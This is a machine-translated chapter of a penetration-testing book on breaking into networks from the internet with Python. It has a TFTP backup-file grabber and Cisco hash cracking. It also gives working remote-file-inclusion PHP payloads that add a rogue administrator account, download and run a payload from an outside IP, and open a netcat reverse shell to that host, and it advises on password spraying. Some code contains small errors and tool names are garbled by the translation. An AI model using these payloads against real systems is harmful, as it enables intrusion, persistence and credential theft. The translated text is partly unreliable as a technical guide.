Skip to content

Latest commit

 

History

History
351 lines (213 loc) · 26.7 KB

File metadata and controls

351 lines (213 loc) · 26.7 KB

七、使用 Python 破解边界

大多数评估人员必须面对的最困难的事情是找到一种方法,在不欺骗组织公众的情况下,通过互联网进入内部网络。偶尔会有广泛暴露的网络,但大多数组织已经学会了收紧外部边界。不幸的是,仍然存在一个系统性的问题,即硬的外部,然后是带有灯光监控控制的软的内部,其结构不足以防止真正的恶意参与者破坏资源。这意味着我们应该模拟恶意参与者执行的活动来破解外围。这反过来意味着要了解今天的典型周界。

了解今天的周界

一些网络仍然有不应该公开的服务,但大多数情况下,这些公开的服务很少存在任何可利用的风险。突出这些具体的例子将使你作为一个能够突破组织边界的评估员的心态发生转变。这些并不是你在互联网上可能发现的所有例子,但它们会突出共性。

明文协议

文件传输协议****FTP和 Telnet 都是明文协议的例子,它们可能暴露在外围环境中,通常不存在大多数自动化工具所列的风险。这是除非服务器包含关键数据或可能导致关键数据访问,已知远程代码执行RCE漏洞,或者解决方案中存在默认或已知凭据。他们仍然不应该暴露在互联网上,但他们通常不像大多数漏洞管理系统VMS所列的弱点那样危险。原因是,对于攻击者来说,要利用它,他或她有四种主要的破坏帐户的方法。

最常见的方法是嗅探凭据,这意味着他或她必须在通信的客户端或服务器端本地出现,或者通过路由路径出现在通道中。第二种方法是破坏存储这些凭证的系统。第三种是通过执行某种类型的社会工程攻击,这意味着如果用户容易受到攻击,那么这些凭据也可能保证访问许多其他服务,而不仅仅是明文协议。第四种是对服务执行在线凭证攻击,如密码喷射、字典攻击或暴力攻击。这并不是说明文协议没有风险,而是要指出它比 VMS 解决方案宣传的更难利用。

网络应用

从安全工程师多年来提出的评估、妥协和建议来看,如今公开服务的主要例子是 web 应用。这些应用可以位于多种端口上,包括非标准端口。它们通常是负载平衡的,并且可能通过复杂的内容交付网络CDN)提供服务,这些网络可以有效地为请求用户群附近的服务器提供的材料的缓存版本提供服务。此外,这些应用可以通过虚拟化平台提供服务,虚拟化平台是提供商环境中其他系统的沙盒。因此,即使您破解了 web 应用,也可能无法访问目标网络。如果您想知道为什么在破解 web 应用系统后无法取得任何进展,请记住这一点。还要确保您有权测试不受客户端控制的网络。

加密远程访问服务

例如,远程桌面协议RDP)和安全壳SSH)等服务通常提供对内部网络的直接访问。这些服务可以通过多因素身份验证进行保护并进行加密,这意味着执行中间人MitM攻击要困难得多。因此,以这些服务为目标将取决于哪些控制措施不到位,以及它们是否存在。

虚拟专用网络(VPN)

除 web 服务外,互联网上其他最常见的公开服务是 VPN,包括但不限于点对点隧道协议(PPTP)、**互联网安全关联和密钥管理协议(ISAKMP)**等。对这些服务的攻击通常是多阶段的,需要获取其他信息,例如组名或组密码。这将是对作为特定用户进行身份验证的标准用户名和密码的补充。

很多时候,根据的实现,您甚至可能需要特定的软件来与设备关联,例如 Citrix 或 Cisco AnyConnect。一些供应商甚至会收取与其 VPN 软件副本许可相关的费用,因此,即使您确实找到了所有必要的详细信息,您可能仍然需要找到一个有效的软件副本或正确的版本。此外,与购买这些软件组件相比,这些软件组件的盗版版本甚至可能通过使用有毒版本打开您或您客户的网络,使其受到损害,而这些有毒版本可能有其自身的责任。

邮件服务

我们已经广泛讨论了利用邮件服务的方式。您仍然会看到这些服务被公开,这意味着仍然有机会找到所需的详细信息。

域名服务(DNS)

与识别互联网协议IP)地址相关的服务与完全限定域名FQDN相关)。很多时候,它们可能在提供的 IP 范围内,但实际上超出了范围,因为它们属于互联网服务提供商ISP)所有。此外,昨天的漏洞,如区域传输,在今天的网络中通常不可利用。

用户数据报协议(UDP)服务

除了前面提到的作为 UDP 服务运行的服务外,您还可以找到简单网络管理协议SNMP)和普通文件传输协议TFTP。这两种服务都可以提供系统的详细信息和访问权限,具体取决于它们所透露的信息。如果您找到正确的社区字符串,SNMP 可以提供系统详细信息,有时,如果版本足够旧,它甚至可以为系统本身提供密码,尽管在面向 Internet 的系统上这要难得多。另一方面,TFTP 被用作备份网络设备配置的主要手段,防火墙管理员经常错误地将服务从非军事区DMZ或半可信网络公开到 Internet。

通过从下载 Ubuntu,您可以设置自己的 Ubuntu TFTP 服务器来执行此攻击 http://www.ubuntu.com/download/alternative-downloads 和设置服务器,详细信息来自http://askubuntu.com/questions/201505/how-do-i-install-and-run-a-tftp-server

了解账户和服务之间的联系

当查看面向互联网的资源时,您正试图确定哪些服务可能有风险,使您能够访问关键服务。因此,例如,SSH 或 Telnet 可能不会链接到 Windows 帐户身份验证,除非该组织非常成熟,并且正在使用 Centrify 等产品。因此,针对这些类型服务的字典攻击可能无法提供对资源的访问,从而允许您使用提取的详细信息进行横向移动。此外,大多数管理团队对安全环境中基于 Linux 和 Unix 的资源进行了很好的监控,这是因为易于合并此类设备。

使用打嗝套件破解收件箱

第 6 章中,我们重点介绍了如何使用 Burp Suite 运行密码喷雾,并使用 Python评估 Web 应用。Burp 套件的最佳目标之一是面向互联网的Outlook Web AccessOWA接口。这是您可以执行的最简单的攻击之一,但也是最响亮的攻击之一。如前几章所述,您应该始终减少点击收件箱的时间,并使用符合 Active Directory 复杂性要求的非常常见的密码。

一旦您识别出与以前的请求相比具有不同字节大小的响应,可能会突出显示您已找到具有有效凭据集的活动收件箱。使用这些详细信息访问收件箱并查找关键数据。关键数据包括任何可能被视为对公司敏感的数据,这些数据将突出领导层面临的风险,或表明需要立即或计划开展活动,以弥补上述风险。它还包括允许您访问组织本身的任何内容。

示例包括通过电子邮件发送的密码和用户名、KeePass 或 LastPass 文件、网络远程访问指令、VPN 软件,有时甚至软件令牌。想想你的组织通过电子邮件发送的信息;如果没有多因素身份验证,它是攻击向量的一个很好的选择。为此,更多的组织已经转移到多因素认证,因此,这种攻击向量正在消失。

识别攻击路径

正如许多书籍中提到的,包括这本书,人们经常忘记 UDP。通常,这部分是因为针对 UDP 服务的扫描的响应通常是错误的。来自nmapscapy等工具的返回数据可以为实际打开但报告为Open|Filtered的端口提供响应。

了解周边扫描的局限性

例如,对主机的研究表明,基于另一个服务的描述性横幅,TFTP 服务器可能在其上处于活动状态,但使用nmap进行的扫描指向端口open|filtered

下图显示了 UDP 服务 TFTP 的响应为 open | filtered,如上所述,即使已知其为 open:

Understanding the limitations of perimeter scanning

这意味着端口实际上可能是打开的,但当大量响应显示许多端口以这种方式表示时,您可能对结果不太信任。可能无法获取这些端口和协议中的每个端口的标题,因为可能没有实际的标题可获取。像scapy这样的工具可以通过提供更详细的回答来帮助解决这个问题,这样你就可以自己解释这些问题。例如,使用以下命令可能会从 TFTP 服务获取响应:

#!/usr/bin/env python

fromscapy.all import *

ans,uns = sr(IP(dst="192.168.195.165")/UDP(dport=69),retry=3,timeout=1,verbose=1)

下图显示了从 Scapy 执行 UDP 端口扫描以确定 TFTP 服务是否真正公开:

Understanding the limitations of perimeter scanning

我们看到我们有一个未答复的响应,我们可以使用summary()函数获取详细信息,如下所示:

Understanding the limitations of perimeter scanning

当扫描一个端口和一个 IP 地址时,这并不是很有用,但是如果测试是针对多个 IP 地址或端口的,比如下面的扫描,summary()display()功能会非常有用:

ans,uns = sr(IP(dst="192.168.195.165")/UDP(dport=[(1,65535)]),retry=3,timeout=1,verbose=1)

不管结果如何,TFTP 对这些扫描没有响应,但这并不一定意味着服务已关闭。根据配置和控制,大多数 TFTP 服务不会响应扫描。此类服务可能会产生误导,尤其是在启用防火墙的情况下。如果您尝试连接到服务,您可能会收到与没有防火墙过滤到实际客户端的响应时相同的响应,如此屏幕截图所示:

Understanding the limitations of perimeter scanning

本示例旨在强调一个事实,即当涉及到公开的服务、防火墙和其他保护机制时,您不能信任 UDP 扫描仪。您需要考虑其他细节,如主机名、其他服务横幅和信息源。我们把 TFTP 作为一个例子,因为如果它被暴露,它为我们作为攻击者提供了一个整洁的特性;提取数据不需要凭据。这意味着我们只需要知道正确的文件名就可以下载它。

从 TFTP 服务器下载备份文件

因此,为了确定这个系统是否确实包含我们想要的数据,我们需要查询服务中的实际文件名。如果我们猜到了正确的文件名,我们可以在系统上下载该文件,但如果我们不这样做,服务将不会提供响应。这意味着我们必须根据其他服务横幅识别可能的文件名。如前所述,TFTP 最常用于存储网络设备的备份,如果使用自动存档功能,我们可能能够对实际文件名进行有根据的猜测。

通常,管理员使用主机名作为备份文件的基本名称,然后备份文件随时间递增。因此,如果主机名是example_router,那么使用此功能的第一个备份将是example_router-1。因此,如果您知道主机名,您可以增加主机名后面的数字,这表示可能的备份文件名。这些请求可以通过 Hydra 和 Metasploit 等工具完成,但您必须根据识别的主机名生成自定义单词列表。

相反,我们可以编写一个即时 Python 脚本来满足这个特定的需求,这将是一个更好的选择。即时脚本是顶级评估人员经常使用的概念。它们生成一个脚本来执行当前工具无法根据特定需要轻松执行的任务。这意味着我们可以找到一种方法,以 VMS 不会标记的非预期方式自动操纵环境。

确定备份文件名

要确定可能的备份文件名范围,您需要识别可能是常规备份例程一部分的主机名。这意味着连接到 Telnet、FTP 和 SSH 等服务以提取横幅。即使使用 Bash、for循环和netcat,获取大量服务的横幅也可能非常耗时。为了克服这个挑战,我们可以编写一个简短的脚本,为我们连接到所有这些服务,如下面的代码所示,如果将来需要,甚至可以对其进行扩展。

此脚本使用端口列表,并将它们提供给每个测试的 IP 地址。我们正在使用一系列潜在的 IP 地址作为第四个八位组附加到一个基本 IP 地址。您可以生成额外的代码从文件读取 IP,或者从无类域间路由CIDR)地址创建动态列表,但这需要额外的时间。目前,以下脚本符合我们的即时要求:

#!/usr/bin/env python
import socket

def main():
    ports = [21,23,22]
    ips = "192.168.195."
    for octet in range(0,255):
        for port in ports:
            ip = ips + str(octet)
            #print("[*] Testing port %s at IP %s") % (port, ip)
            try:
                socket.setdefaulttimeout(1)
                s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                s.connect((ip,port))
                output = s.recv(1024)
print("[+] The banner: %s for IP: %s at Port: %s") % (output,ip,port)
            except:
                print("[-] Failed to Connect to %s:%s") % (ip, port)
            finally:
                s.close()

if __name__ == "__main__":
    main()

当脚本以活动横幅响应时,我们可以去获取服务的详细信息。这可以通过nmap等工具来完成,但脚本的框架可以调整,以获取更多或更少的细节,执行后续请求,甚至在必要时长时间地萎靡不振。因此,如果nmap或其他工具无法正确获取细节,则可以使用此脚本。应该注意的是,这比其他工具慢得多,应该将其作为辅助工具,而不是主要工具。

如前所述,nmap可以使用 NSE 横幅脚本以更快的速度完成类似的任务,如所述 https://nmap.org/nsedoc/scripts/banner.html

从横幅抓取结果中,我们现在可以编写一个 Python 脚本,该脚本可以通过潜在的备份文件名进行增量,并尝试下载它们。因此,我们将创建一个目录来存储从这个 quick and 脚本请求的所有潜在文件。在这个目录中,我们可以列出内容并查看哪些内容超过 0 字节。如果我们看到内容超过 0 字节,我们就知道我们已经成功抓取了一个备份文件。我们将创建一个名为 backups 的目录,并从中运行此脚本:

#!/usr/bin/env python
try:
    import tftpy
except:
    sys.exit(“[!] Install the package tftpy with: pip install tftpy”)
def main():
    ip = "192.168.195.165"
    port = 69
    tclient = tftpy.TftpClient(ip,port)
    for inc in range(0,100):
        filename = "example_router" + "-" + str(inc)
        print("[*] Attempting to download %s from %s:%s") % (filename,ip,port)
        try:
tclient.download(filename,filename)
        except:
            print("[-] Failed to download %s from %s:%s") % (filename,ip,port)

if __name__ == '__main__':
    main()

如您所见,编写此脚本是为了查找从example_router-0example_router-99的路由器名称的备份。结果可以在输出目录中看到,如下所示:

Determining the backup filenames

现在,我们只需要确定每个文件有多大,就可以使用ls -l命令为路由器找到一个实际的备份。此命令的示例输出可以在下面的屏幕截图中看到。正如您在这里看到的,example_router-5似乎是一个包含数据的实际文件:

Determining the backup filenames

破解 Cisco MD5 哈希

现在我们可以看到备份文件中是否有哈希密码,如下所示:

Cracking Cisco MD5 hashes

裂土器约翰工具现在可以用来在正确格式化后破解这些散列。为此,请将这些哈希设置为如下格式:

enable_secret:hash

裂土器工具要求以特定格式记录备份文件中的数据,以便对其进行处理。以下摘录显示了需要如何格式化这些哈希,以便对其进行处理:

enable_secret:$1$gUlC$Tj6Ou5.oPE0GRrymDGj9v1
enable_secret:$1$ikJM$oMP.FIjc1fu0eKYNRXF931

然后,我们将这些散列放在一个文本文件中,如cisco_hash并对其运行裂土器 John,如下所示:

john cisco_hash

完成后,您可以使用john --show cisco_hash查看结果,并使用提取的凭据登录到设备以提升您的权限并调整其详细信息。使用此访问,如果路由器是主要的周界保护,您可以调整保护以提供公共 IP 地址对内部资源的额外访问。

提示

记住使用你写的脚本获取你的公共 IP 地址,让你的生活更轻松。

你应该非常小心地去做这件事,即使是在红队的情况下。外围防火墙的操作可能会对组织产生不利影响。相反,您应该考虑突出您所获得的访问,并请求根据您参与的性质,为您的公共 IP 地址输入一个条目以访问半可信或受保护的网络。请记住,除非设备在公共或面向 Internet 的地址中具有可路由的 IP,否则您可能仍然无法通过 Internet 看到它,但您可能可以看到以前从您处混淆的端口和服务。例如,在防火墙后面启用了 RDP 的 web 服务器。一旦执行了外围规则的调整,您就可以访问 web 服务器上的 RDP。

通过网站获取访问权限

利用面向互联网的网站通常是破解组织边界的最可行的选择。有很多方法可以做到这一点,但提供访问的最佳漏洞包括结构化查询语言SQL结构化查询语言注入SQLi)、命令行注入CLI远程和本地文件包含RFI/LFI),以及不受保护的文件上载。关于 SQLi、CLI、LFI 和文件上载相关漏洞的执行,有大量信息,但通过 RFI 进行攻击的信息非常稀少,漏洞非常普遍。

文件包含攻击的执行

要查找文件包含向量,您需要查找引用资源的向量,可以是本地服务器上的资源,如文件,也可以是 Internet 上的其他资源:

http://www.example.website.com/?target=file.txt

远程文件包含通常引用其他网站或公司的内容:

http://www.example.website.com/?target=trustedsite.com/content.html

除了严格的 RFI 示例之外,我们之所以强调 LFI,是因为文件包含漏洞通常对明显的 LFI 和 RFI 向量都起作用。应该注意的是,仅仅因为存在对远程或本地文件的引用,并不意味着它易受攻击。

在注意到这些差异后,我们可以根据底层体系结构(Windows 或 Linux/UNIX),尝试确定该站点是否能够抵御攻击。首先,我们必须准备好攻击环境,这意味着要对抗面向 Internet 的 web 服务器,并在其中定位攻击文件。幸运的是,Python 通过SimpleHTTPServer简化了这一过程。首先,我们创建一个名为server的目录,该目录将承载我们的文件,然后我们将 cd 刻录到该目录,然后使用以下命令创建 web 服务器实例:

python -m SimpleHTTPServer

然后,您可以在统一资源定位器URL)请求栏中输入端口号为 8000 的主机 IP 地址,并用一列分隔,从而访问该站点。执行此操作后,您将看到大量请求进入服务器以获取信息。这个新服务器(您刚刚站起来)可用于引用要在目标服务器上运行的脚本。此屏幕截图显示向服务器发出的相关请求:

The execution of file inclusion attacks

正如前面提到的一样,有时可以在目标 web 服务器上使用其他协议进行交互。如果您通过将 IP 地址添加到防火墙或访问控制列表ACL)中的授权列表中,为自己提供了更多访问半可信网络或 DMZ 的权限,您可能能够看到服务器消息块SMB或 RDP 等服务。因此,根据环境的不同,您可能不需要为自己提供额外的访问权限;只要破解 web 服务器就可以为您提供足够的访问权限。

大多数文件包含漏洞与超文本预处理器PHP)网站有关。其他语言集可能容易受到攻击,但基于 PHP 的网站最为常见。因此,让我们创建一些伪装成文本文件的 PHP 脚本来验证漏洞并利用底层服务器进行攻击。

验证 RFI 漏洞

当你怀疑你已经发现 RFI 暴露时,你需要在利用它之前确认确实存在漏洞。首先,在面向互联网的服务器上启动一个tcpdump服务,让其监听互联网控制消息协议ICMP)与以下命令的回声:

sudo tcpdump icmp[icmptype]=icmp-echo -vvv -s 0 -X -i any -w /tmp/ping.pcap

此命令将生成一个文件,该文件将捕获ping命令发送的所有这些消息。Ping 公开的 web 服务器,找到服务器的实际 IP 地址,并记录它。然后,创建以下 PHP 文件,该文件存储为名为ping.txt的文本文件:

<pre style="text-align:left;">
<?php
    echo shell_exec('ping -c 1 <listening server>');
?>
</pre>

您现在可以通过以下命令引用文件来执行攻击:

http://www.example.website.com/?target=70.106.216.176:8000/server/ping.txt

一旦攻击被执行,您可以使用以下命令查看数据包捕获(PCAP)

tcpdump -tttt -r /tmp/ping.pcap

如果您看到来自与 ping 相同服务器的 ICMP 回音,则您知道该服务器易受 RFI 攻击。

通过 RFI 利用主机

当您发现有漏洞的 Windows 主机时,它通常以特权帐户运行。因此,首先,通过 PHP 脚本向系统添加另一个本地管理员帐户可能会很有用。这是通过创建以下脚本并将其写入文本文件(如account.txt)来完成的:

<pre style="text-align:left;">
<?php
    echo shell_exec('net user pentester ComplexPasswordToPreventCompromise1234 /add');
    echo shell_exec('net localgroup administrators pentester /add'):
?>
</pre>

现在,我们所要做的就是从我们公开的服务器引用脚本,如下所示:

http://www.example.website.com/?target=70.106.216.176:8000/server/account.txt

如果可能,这将在服务器上创建一个新的恶意本地管理员,我们可以使用该管理员访问服务器。如果系统将 RDP 公开给 Internet,我们的工作将在这里完成,我们只需使用新帐户直接登录系统。如果不是这样,那么我们需要找到另一种方法来利用这个系统;为此,我们将使用实际有效载荷。

创建一个负载,如第 5 章使用 Python开发服务中强调的,并将其移动到用于存储引用文件的目录中。

提示

用于此攻击的最佳端口为端口 80、端口 443 和端口 53。确保这些服务没有冲突。

创建一个新的 PHP 脚本,可以直接下载文件并执行,名为payload_execute.txt

<pre style="text-align:left;">
<?php
    file_put_contents("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\payload.exe", fopen("http://70.106.216.176:8000/server/payload.exe", 'r'));
    echo shell_exec('C:\Documents and Settings\All Users\Start Menu\Programs\Startup\payload.exe'):
?>
</pre>

现在,设置您的侦听器(如第 5 章所述,使用 Python开发服务)以侦听已定义的本地端口。最后,将新脚本加载到 RFI 请求中,并观察新的潜在 shell 出现:

http://www.example.website.com/?target=70.106.216.176:8000/server/payload_execute.txt

这些示例说明了如何利用 Windows 主机,但如果它是 Linux 系统呢?根据主机的权限结构,获取 shell 可能会更加困难。也就是说,您可以在 localhost 中查找可能包含明文密码的本地文件和存储库。

Linux 和 Unix 主机为攻击者提供的好处是通常安装了netcat和几种脚本语言。每一个都可以向攻击者的监听系统提供一个命令外壳。例如,使用以下命令在面向 Internet 的主机上设置netcat侦听器:

nc -l 443

然后,创建一个存储在文本文件中的 PHP 脚本,如netcat.txt

<pre style="text-align:left;">
<?php
    echo shell_exec('nc -e /bin/sh 70.106.216.176 443'):
?>
</pre>

接下来,通过引用 URL 中的脚本来运行脚本,如前所示:

http://www.example.website.com/?target=70.106.216.176:8000/server/netcat.txt

有几个例子说明了如何在系统上设置其他后门,如中突出显示的 http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

对于 Windows 和 Linux 主机,Metasploit 的php_include漏洞允许您直接向 RFI 注入攻击。PHP MeterMeter 有限且不太稳定,因此在 Windows 系统上站稳脚跟后,仍然需要下载完整的 MeterMeter 并执行它。在 Linux 系统上,您应该提取passwdshadow文件并破解它们以获得真正的本地访问。

总结

本章重点介绍了针对暴露的特定服务破解边界的常见方法。但是,我们没有介绍最常见的破解外围的方法,即网络钓鱼。网络钓鱼是一种社会工程,它本身就是一门艺术,可以用几章来描述,但你应该知道,如果真正的攻击者找不到一种简单的方法进入环境,他们就会使用网络钓鱼。如今,恶意行为者通常从网络钓鱼开始,因为它很容易引诱受害者。

在这些进入媒介之后,评估人员和恶意参与者会观察 2014 年发现的新修补的零日,如 Shellshock 和 Heartbleed。即使在提供新修补程序几个月后,此类示例也经常可被利用,但如果您认为在公开的服务中发现了一个漏洞,但没有可用的利用漏洞,或者您发现了一个潜在的零日漏洞,该怎么办?虽然渗透测试人员很少有机会在零天内进行测试,但通常在更受控的环境中证明折衷的概念。在下一章中,我们将更深入地讨论这一点。